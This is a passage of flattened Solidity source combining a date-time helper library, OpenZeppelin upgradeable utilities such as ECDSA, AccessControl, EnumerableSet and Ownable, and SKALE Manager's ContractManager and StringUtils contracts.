function getDay(uint timestamp) internal pure returns (uint day) {
uint year;
uint month;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getHour(uint timestamp) internal pure returns (uint hour) {
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
}
function getMinute(uint timestamp) internal pure returns (uint minute) {
uint secs = timestamp % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
}
function getSecond(uint timestamp) internal pure returns (uint second) {
second = timestamp % SECONDS_PER_MINUTE;
}
function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year += _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
month += _months;
year += (month - 1) / 12;
month = (month - 1) % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _days * SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;
require(newTimestamp >= timestamp);
}
function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;
require(newTimestamp >= timestamp);
}
function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _seconds;
require(newTimestamp >= timestamp);
}
function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year -= _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint yearMonth = year * 12 + (month - 1) - _months;
year = yearMonth / 12;
month = yearMonth % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _days * SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;
require(newTimestamp <= timestamp);
}
function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;
require(newTimestamp <= timestamp);
}
function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _seconds;
require(newTimestamp <= timestamp);
}
function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) {
require(fromTimestamp <= toTimestamp);
uint fromYear;
uint fromMonth;
uint fromDay;
uint toYear;
uint toMonth;
uint toDay;
(fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_years = toYear - fromYear;
}
function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) {
require(fromTimestamp <= toTimestamp);
uint fromYear;
uint fromMonth;
uint fromDay;
uint toYear;
uint toMonth;
uint toDay;
(fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;
}
function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) {
require(fromTimestamp <= toTimestamp);
_days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;
}
function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) {
require(fromTimestamp <= toTimestamp);
_hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;
}
function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) {
require(fromTimestamp <= toTimestamp);
_minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;
}
function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) {
require(fromTimestamp <= toTimestamp);
_seconds = toTimestamp - fromTimestamp;
}
}
pragma solidity ^0.6.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
import "../Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ContractManager.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol";
import "@skalenetwork/skale-manager-interfaces/IContractManager.sol";
import "./utils/StringUtils.sol";
/**
* @title ContractManager
* @dev Contract contains the actual current mapping from contract IDs
* (in the form of human-readable strings) to addresses.
*/
contract ContractManager is OwnableUpgradeSafe, IContractManager {
using StringUtils for string;
using Address for address;
string public constant BOUNTY = "Bounty";
string public constant CONSTANTS_HOLDER = "ConstantsHolder";
string public constant DELEGATION_PERIOD_MANAGER = "DelegationPeriodManager";
string public constant PUNISHER = "Punisher";
string public constant SKALE_TOKEN = "SkaleToken";
string public constant TIME_HELPERS = "TimeHelpers";
string public constant TOKEN_STATE = "TokenState";
string public constant VALIDATOR_SERVICE = "ValidatorService";
// mapping of actual smart contracts addresses
mapping (bytes32 => address) public contracts;
/**
* @dev Emitted when contract is upgraded.
*/
event ContractUpgraded(string contractsName, address contractsAddress);
function initialize() external initializer {
OwnableUpgradeSafe.__Ownable_init();
}
/**
* @dev Allows the Owner to add contract to mapping of contract addresses.
*
* Emits a {ContractUpgraded} event.
*
* Requirements:
*
* - New address is non-zero.
* - Contract is not already added.
* - Contract address contains code.
*/
function setContractsAddress(
string calldata contractsName,
address newContractsAddress
)
external
override
onlyOwner
{
// check newContractsAddress is not equal to zero
require(newContractsAddress != address(0), "New address is equal zero");
// create hash of contractsName
bytes32 contractId = keccak256(abi.encodePacked(contractsName));
// check newContractsAddress is not equal the previous contract's address
require(contracts[contractId] != newContractsAddress, "Contract is already added");
require(newContractsAddress.isContract(), "Given contract address does not contain code");
// add newContractsAddress to mapping of actual contract addresses
contracts[contractId] = newContractsAddress;
emit ContractUpgraded(contractsName, newContractsAddress);
}
/**
* @dev Returns contract address.
*
* Requirements:
*
* - Contract must exist.
*/
function getDelegationPeriodManager() external view returns (address) {
return getContract(DELEGATION_PERIOD_MANAGER);
}
function getBounty() external view returns (address) {
return getContract(BOUNTY);
}
function getValidatorService() external view returns (address) {
return getContract(VALIDATOR_SERVICE);
}
function getTimeHelpers() external view returns (address) {
return getContract(TIME_HELPERS);
}
function getConstantsHolder() external view returns (address) {
return getContract(CONSTANTS_HOLDER);
}
function getSkaleToken() external view returns (address) {
return getContract(SKALE_TOKEN);
}
function getTokenState() external view returns (address) {
return getContract(TOKEN_STATE);
}
function getPunisher() external view returns (address) {
return getContract(PUNISHER);
}
function getContract(string memory name) public view override returns (address contractAddress) {
contractAddress = contracts[keccak256(abi.encodePacked(name))];
if (contractAddress == address(0)) {
revert(name.strConcat(" contract has not been found"));
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity ^0.6.0;
import "../Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
import "../Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IContractManager.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IContractManager {
function setContractsAddress(string calldata contractsName, address newContractsAddress) external;
function getContract(string calldata name) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
StringUtils.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
library StringUtils {
using SafeMath for uint;
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory _ba = bytes(a);
bytes memory _bb = bytes(b);
string memory ab = new string(_ba.length.add(_bb.length));
bytes memory strBytes = bytes(ab);
uint k = 0;
uint i = 0;
for (i = 0; i < _ba.length; i++) {
strBytes[k++] = _ba[i];
}
for (i = 0; i < _bb.length; i++) {
strBytes[k++] = _bb[i];
}
return string(strBytes);
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's uintXX casting operators with added overflow
* checks.
*
* Downcasting from uint256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} to extend it to smaller types, by performing
* all math on `uint256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
